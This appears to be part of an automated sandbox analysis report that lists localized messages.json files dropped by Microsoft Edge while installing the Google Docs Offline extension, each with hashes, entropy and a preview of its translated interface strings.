Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
